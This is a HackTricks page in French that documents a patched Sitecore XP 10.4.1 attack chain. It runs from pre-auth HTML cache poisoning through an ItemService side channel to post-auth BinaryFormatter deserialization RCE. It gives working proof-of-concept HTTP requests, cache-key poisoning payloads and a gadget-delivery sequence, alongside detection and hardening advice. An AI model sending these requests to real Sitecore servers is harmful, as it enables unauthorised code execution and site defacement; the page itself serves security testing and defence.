Sitecore Experience Platform (XP) – Pre‑auth HTML Cache Poisoning to Post‑auth RCE

Reading time: 8 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Cette page résume une chaîne d'attaque pratique contre Sitecore XP 10.4.1 qui pivote d'un pre‑auth XAML handler vers HTML cache poisoning et, via un authenticated UI flow, vers RCE via BinaryFormatter deserialization. Les techniques se généralisent à des versions/composants Sitecore similaires et fournissent des primitives concrètes pour tester, détecter et durcir.

  • Produit affecté testé : Sitecore XP 10.4.1 rev. 011628
  • Corrigé dans : KB1003667, KB1003734 (juin/juillet 2025)

Voir aussi :

Cache Poisoning and Cache Deception

Deserialization

Pre‑auth primitive: XAML Ajax reflection → HtmlCache write

Le point d'entrée est le pre‑auth XAML handler enregistré dans web.config:

xml
<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />

Accessible via :

GET /-/xaml/Sitecore.Shell.Xaml.WebControl

L'arbre de contrôles inclut AjaxScriptManager qui, lors des requêtes d'événements, lit des champs contrôlés par l'attaquant et invoque de manière réflexive des méthodes sur les contrôles ciblés :

csharp
// AjaxScriptManager.OnPreRender
string clientId = page.Request.Form["__SOURCE"];      // target control
string text     = page.Request.Form["__PARAMETERS"];  // Method("arg1", "arg2")
...
Dispatch(clientId, text);

// eventually → DispatchMethod(control, parameters)
MethodInfo m = ReflectionUtil.GetMethodFiltered<ProcessorMethodAttribute>(this, e.Method, e.Parameters, true);
if (m != null) m.Invoke(this, e.Parameters);

// Alternate branch for XML-based controls
if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}

Observation clé : la page XAML inclut une instance XmlControl (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl hérite de Sitecore.Web.UI.WebControl (une classe Sitecore), qui passe l'allow‑list ReflectionUtil.Filter (Sitecore.*), déverrouillant des méthodes sur Sitecore WebControl.

Méthode magique pour poisoning :

csharp
// Sitecore.Web.UI.WebControl
protected virtual void AddToCache(string cacheKey, string html) {
HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
}

Parce que nous pouvons cibler xmlcontrol:GlobalHeader et appeler les méthodes Sitecore.Web.UI.WebControl par leur nom, nous obtenons un pre‑auth arbitrary HtmlCache write primitive.

Requête PoC (CVE-2025-53693)

POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
Host: target
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

Remarques :

  • __SOURCE est le clientID de xmlcontrol:GlobalHeader au sein de Sitecore.Shell.Xaml.WebControl (souvent stable comme ctl00_ctl00_ctl05_ctl03 car il est dérivé du XAML statique).
  • __PARAMETERS est au format Method("arg1","arg2").

What to poison: Cache key construction

Construction typique de clé HtmlCache utilisée par les Sitecore controls:

csharp
public virtual string GetCacheKey(){
SiteContext site = Sitecore.Context.Site;
if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()){
string key = this.CachingID.Length > 0 ? this.CachingID : this.CacheKey;
if (key.Length > 0){
string k = key + "_#lang:" + Language.Current.Name.ToUpperInvariant();
if (this.VaryByData)        k += ResolveDataKeyPart();
if (this.VaryByDevice)      k += "_#dev:"   + Sitecore.Context.GetDeviceName();
if (this.VaryByLogin)       k += "_#login:" + Sitecore.Context.IsLoggedIn;
if (this.VaryByUser)        k += "_#user:"  + Sitecore.Context.GetUserName();
if (this.VaryByParm)        k += "_#parm:"  + this.Parameters;
if (this.VaryByQueryString && site?.Request != null)
k += "_#qs:"   + MainUtil.ConvertToString(site.Request.QueryString, "=", "&");
if (this.ClearOnIndexUpdate) k += "_#index";
return k;
}
}
return string.Empty;
}

Exemple de targeted poisoning pour un sublayout connu :

__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

Enumération des éléments mis en cache et des dimensions “vary by”

Si l'ItemService est (mal) exposé anonymement, vous pouvez énumérer les composants mis en cache pour déduire les clés exactes.

Sonde rapide:

GET /sitecore/api/ssc/item
// 404 Sitecore error body → exposed (anonymous)
// 403 → blocked/auth required

Liste des éléments cacheables et des flags :

GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100

Recherchez des champs tels que Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate. Les noms d'appareils peuvent être énumérés via :

GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100

Side‑channel enumeration sous des identités restreintes (CVE-2025-53694)

Même lorsque ItemService se fait passer pour un compte limité (p. ex., ServicesAPI) et renvoie un tableau Results vide, TotalCount peut toujours refléter des hits Solr pré‑ACL. Vous pouvez brute‑force item groups/ids avec des wildcards et observer TotalCount converger pour cartographier le contenu interne et les appareils :

GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
→ "TotalCount": 3
GET /...term=%2B_templatename:Device;%2B_group:aa*
→ "TotalCount": 2
GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
→ narrow to a specific item

Post‑auth RCE: BinaryFormatter sink dans convertToRuntimeHtml (CVE-2025-53691)

Sink:

csharp
// Sitecore.Convert
byte[] b = Convert.FromBase64String(data);
return new BinaryFormatter().Deserialize(new MemoryStream(b));

Accessible via l'étape ConvertWebControls du pipeline convertToRuntimeHtml, qui recherche un élément avec l'id {iframeId}_inner, le décode en base64 et le désérialise, puis injecte la chaîne résultante dans le HTML :

csharp
HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
string text2   = inner?.GetAttributeValue("value", "");
if (text2.Length > 0)
htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);

Déclenchement (authentifié, droits Content Editor). La boîte de dialogue FixHtml appelle convertToRuntimeHtml. De bout en bout sans clics UI :

// 1) Start Content Editor
GET /sitecore/shell/Applications/Content%20Editor.aspx

// 2) Load malicious HTML into EditHtml session (XAML event)
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc" value="poc"></iframe>
<test id="test_inner" value="BASE64_GADGET"></test>
</html>

// 3) Server returns a session handle (hdl) for FixHtml
{"command":"ShowModalDialog","value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=..."}

// 4) Visit FixHtml to trigger ConvertWebControls → deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...

Génération de gadget : utiliser ysoserial.net / YSoNet avec BinaryFormatter pour produire une charge utile base64 renvoyant une chaîne. Le contenu de la chaîne est écrit dans le HTML par ConvertWebControls après l'exécution des effets de bord de désérialisation.

Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

Chaîne complète

  1. Un attaquant non authentifié empoisonne HtmlCache avec du HTML arbitraire en invoquant par réflexion WebControl.AddToCache via XAML AjaxScriptManager.
  2. Le HTML empoisonné sert du JavaScript qui incite un utilisateur Content Editor authentifié à suivre le flux FixHtml.
  3. La page FixHtml déclenche convertToRuntimeHtml → ConvertWebControls, qui désérialise un base64 contrôlé par l'attaquant via BinaryFormatter → RCE sous l'identité du pool d'applications Sitecore.

Détection

  • XAML pré-authentifié : requêtes vers /-/xaml/Sitecore.Shell.Xaml.WebControl avec __ISEVENT=1, __SOURCE suspect et __PARAMETERS=AddToCache(...).
  • Sondage ItemService : pics de requêtes génériques vers /sitecore/api/ssc, TotalCount élevé avec Results vide.
  • Tentatives de désérialisation : EditHtml.aspx suivi de FixHtml.aspx?hdl=... et base64 anormalement volumineux dans les champs HTML.

Durcissement

  • Appliquer les patches Sitecore KB1003667 et KB1003734 ; bloquer/désactiver les handlers XAML pré-authentifiés ou ajouter une validation stricte ; surveiller et limiter le débit de /-/xaml/.
  • Supprimer/remplacer BinaryFormatter ; restreindre l'accès à convertToRuntimeHtml ou appliquer une validation serveur forte des flux d'édition HTML.
  • Restreindre /sitecore/api/ssc à loopback ou à des rôles authentifiés ; éviter les impersonation patterns qui leak TotalCount‑based side channels.
  • Imposer MFA/least privilege pour les utilisateurs Content Editor ; revoir la CSP pour réduire l'impact du JS steering issu du cache poisoning.

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks